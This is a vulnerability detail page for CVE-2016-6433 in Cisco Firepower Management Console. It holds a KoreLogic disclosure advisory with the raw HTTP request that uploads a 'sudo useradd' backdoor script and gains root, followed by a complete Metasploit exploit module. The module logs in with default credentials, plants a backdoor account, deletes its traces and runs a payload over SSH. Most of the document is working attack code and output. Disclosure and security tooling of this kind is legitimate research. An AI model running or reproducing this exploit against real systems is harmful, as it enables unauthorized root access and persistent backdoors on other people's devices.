CVE-2016-6433 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

KL-001-2016-007 : Cisco Firepower Threat Management Console Remote Command Execution Leading to Root Access Title: Cisco Firepower Threat Management Console Remote Command Execution Leading to Root Access Advisory ID: KL-001-2016-007 Publication Date: 2016.10.05 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-007.txt 1. Vulnerability Details Affected Vendor: Cisco Affected Product: Firepower Threat Management Console Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213) Platform: Embedded Linux CWE Classification: CWE-434: Unrestricted Upload of File with Dangerous Type, CWE-94: Improper Control of Generation of Code Impact: Arbitrary Code Execution Attack vector: HTTP CVE-ID: CVE-2016-6433 2. Vulnerability Description An authenticated user can run arbitrary system commands as the www user which leads to root. 3. Technical Description A valid session and CSRF token is required. The webserver runs as a non-root user which is permitted to sudo commands as root with no password. POST /DetectionPolicy/rules/rulesimport.cgi?no_mojo=1 HTTP/1.1 Host: 1.3.3.7 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br DNT: 1 Cookie: CGISESSID=4919a7838198009bba48f6233d0bd1c6 Connection: close Content-Type: multipart/form-data; boundary=---------------------------15519792567789791301241925798 Content-Length: 813 -----------------------------15519792567789791301241925798 Content-Disposition: form-data; name="manual_update" 1 -----------------------------15519792567789791301241925798 Content-Disposition: form-data; name="source" file -----------------------------15519792567789791301241925798 Content-Disposition: form-data; name="file"; filename="Sourcefire_Rule_Update-2016-03-04-001-vrt.sh" Content-Type: application/octet-stream sudo useradd -G ldapgroup -p `openssl passwd -1 korelogic` korelogic -----------------------------15519792567789791301241925798 Content-Disposition: form-data; name="action_submit" Import -----------------------------15519792567789791301241925798 Content-Disposition: form-data; name="sf_action_id" 8c6059ae8dbedc089877b16b7be2ae7f -----------------------------15519792567789791301241925798-- HTTP/1.1 200 OK Date: Sat, 23 Apr 2016 13:38:01 GMT Server: Apache Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Length: 49998 Connection: close Content-Type: text/html; charset=utf-8 ... $ ssh [email protected] Password: Copyright 2004-2016, Cisco and/or its affiliates. All rights reserved. Cisco is a registered trademark of Cisco Systems, Inc. All other trademarks are property of their respective owners. Cisco Fire Linux OS v6.0.1 (build 37) Cisco Firepower Management Center for VMWare v6.0.1 (build 1213) Could not chdir to home directory /Volume/home/korelogic: No such file or directory korelogic@firepower:/$ sudo su - Password: root@firepower:~# 4. Mitigation and Remediation Recommendation The vendor has acknowledged this vulnerability but has not issued a fix. Vendor acknowledgement available at: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco. 2016.06.30 - Cisco acknowledges receipt of vulnerability report. 2016.07.20 - KoreLogic and Cisco discuss remediation timeline for this vulnerability and for 3 others reported in the same product. 2016.08.12 - 30 business days have elapsed since the vulnerability was reported to Cisco. 2016.09.02 - 45 business days have elapsed since the vulnerability was reported to Cisco. 2016.09.09 - KoreLogic asks for an update on the status of the remediation efforts. 2016.09.15 - Cisco confirms remediation is underway and soon to be completed. 2016.09.28 - Cisco informs KoreLogic that the acknowledgement details will be released publicly on 2016.10.05. 2016.10.05 - Public disclosure. 7. Proof of Concept See Technical Description The contents of this advisory are copyright(c) 2016 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, 'Name' => "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Cisco Firepower Management Console. The management system contains a configuration flaw that allows the www user to execute the useradd binary, which can be abused to create backdoor accounts. Authentication is required to exploit this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matt', # Original discovery & PoC 'sinn3r' # Metasploit module ], 'References' => [ [ 'CVE', '2016-6433' ], [ 'URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking' ] ], 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Targets' => [ [ 'Cisco Firepower Management Console 6.0.1 (build 1213)', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Oct 10 2016', 'CmdStagerFlavor'=> %w{ echo }, 'DefaultOptions' => { 'SSL' => 'true', 'SSLVersion' => 'Auto', 'RPORT' => 443 }, 'DefaultTarget' => 0)) register_options( [ # admin:Admin123 is the default credential for 6.0.1 OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']), OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']), OptString.new('NEWSSHUSER', [false, 'New backdoor username (Default: Random)']), OptString.new('NEWSSHPASS', [false, 'New backdoor password (Default: Random)']), OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']), OptInt.new('SSHPORT', [true, 'Cisco Firepower Management console\'s SSH port', 22]) ], self.class) end def check # For this exploit to work, we need to check two services: # * HTTP - To create the backdoor account for SSH # * SSH - To execute our payload vprint_status('Checking Cisco Firepower Management console...') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/img/favicon.png?v=6.0.1-1213') }) if res && res.code == 200 vprint_status("Console is found.") vprint_status("Checking SSH service.") begin ::Timeout.timeout(datastore['SSH_TIMEOUT']) do Net::SSH.start(rhost, 'admin', port: datastore['SSHPORT'], password: Rex::Text.rand_text_alpha(5), auth_methods: ['password'], non_interactive: true ) end rescue Timeout::Error vprint_error('The SSH connection timed out.') return Exploit::CheckCode::Unknown rescue Net::SSH::AuthenticationFailed # Hey, it talked. So that means SSH is running. return Exploit::CheckCode::Appears rescue Net::SSH::Exception => e vprint_error(e.message) end end Exploit::CheckCode::Safe end def get_sf_action_id(sid) requirements = {} print_status('Attempting to obtain sf_action_id from rulesimport.cgi') uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi') res = send_request_cgi({ 'method' => 'GET', 'uri' => uri, 'cookie' => "CGISESSID=#{sid}" }) unless res fail_with(Failure::Unknown, 'Failed to obtain rules import requirements.') end sf_action_id = res.body.scan(/sf_action_id = '(.+)';/).flatten[1] unless sf_action_id fail_with(Failure::Unknown, 'Unable to obtain sf_action_id from rulesimport.cgi') end sf_action_id end def create_ssh_backdoor(sid, user, pass) uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi') sf_action_id = get_sf_action_id(sid) sh_name = 'exploit.sh' print_status("Attempting to create an SSH backdoor as #{user}:#{pass}") mime_data = Rex::MIME::Message.new mime_data.add_part('Import', nil, nil, 'form-data; name="action_submit"') mime_data.add_part('file', nil, nil, 'form-data; name="source"') mime_data.add_part('1', nil, nil, 'form-data; name="manual_update"') mime_data.add_part(sf_action_id, nil, nil, 'form-data; name="sf_action_id"') mime_data.add_part( "sudo useradd -g ldapgroup -p `openssl passwd -1 #{pass}` #{user}; rm /var/sf/SRU/#{sh_name}", 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{sh_name}\"" ) send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'cookie' => "CGISESSID=#{sid}", 'ctype' => "multipart/form-data; boundary=#{mime_data.bound}", 'data' => mime_data.to_s, 'vars_get' => { 'no_mojo' => '1' }, }) end def generate_new_username datastore['NEWSSHUSER'] || Rex::Text.rand_text_alpha(5) end def generate_new_password datastore['NEWSSHPASS'] || Rex::Text.rand_text_alpha(5) end def report_cred(opts) service_data = { address: rhost, port: rport, service_name: 'cisco', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end def do_login console_user = datastore['USERNAME'] console_pass = datastore['PASSWORD'] uri = normalize_uri(target_uri.path, 'login.cgi') print_status("Attempting to login in as #{console_user}:#{console_pass}") res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'username' => console_user, 'password' => console_pass, 'target' => '' } }) unless res fail_with(Failure::Unknown, 'Connection timed out while trying to log in.') end res_cookie = res.get_cookies if res.code == 302 && res_cookie.include?('CGISESSID') cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first print_status("CGI Session ID: #{cgi_sid}") print_good("Authenticated as #{console_user}:#{console_pass}") report_cred(username: console_user, password: console_pass) return cgi_sid end nil end def execute_command(cmd, opts = {}) @first_exec = true cmd.gsub!(/\/tmp/, '/usr/tmp') # Weird hack for the cmd stager. # Because it keeps using > to write the payload. if @first_exec @first_exec = false else cmd.gsub!(/>>/, ' > ') end begin Timeout.timeout(3) do @ssh_socket.exec!("#{cmd}\n") vprint_status("Executing #{cmd}") end rescue Timeout::Error fail_with(Failure::Unknown, 'SSH command timed out') rescue Net::SSH::ChannelOpenFailed print_status('Trying again due to Net::SSH::ChannelOpenFailed (sometimes this happens)') retry end end def init_ssh_session(user, pass) print_status("Attempting to log into SSH as #{user}:#{pass}") factory = ssh_socket_factory opts = { auth_methods: ['password', 'keyboard-interactive'], port: datastore['SSHPORT'], use_agent: false, config: false, password: pass, proxy: factory, non_interactive: true } opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do @ssh_socket = Net::SSH.start(rhost, user, opts) end rescue Net::SSH::Exception => e fail_with(Failure::Unknown, e.message) end end def exploit # To exploit the useradd vuln, we need to login first. sid = do_login return unless sid # After login, we can call the useradd utility to create a backdoor user new_user = generate_new_username new_pass = generate_new_password create_ssh_backdoor(sid, new_user, new_pass) # Log into the SSH backdoor account init_ssh_session(new_user, new_pass) begin execute_cmdstager({:linemax => 500}) ensure @ssh_socket.close end end end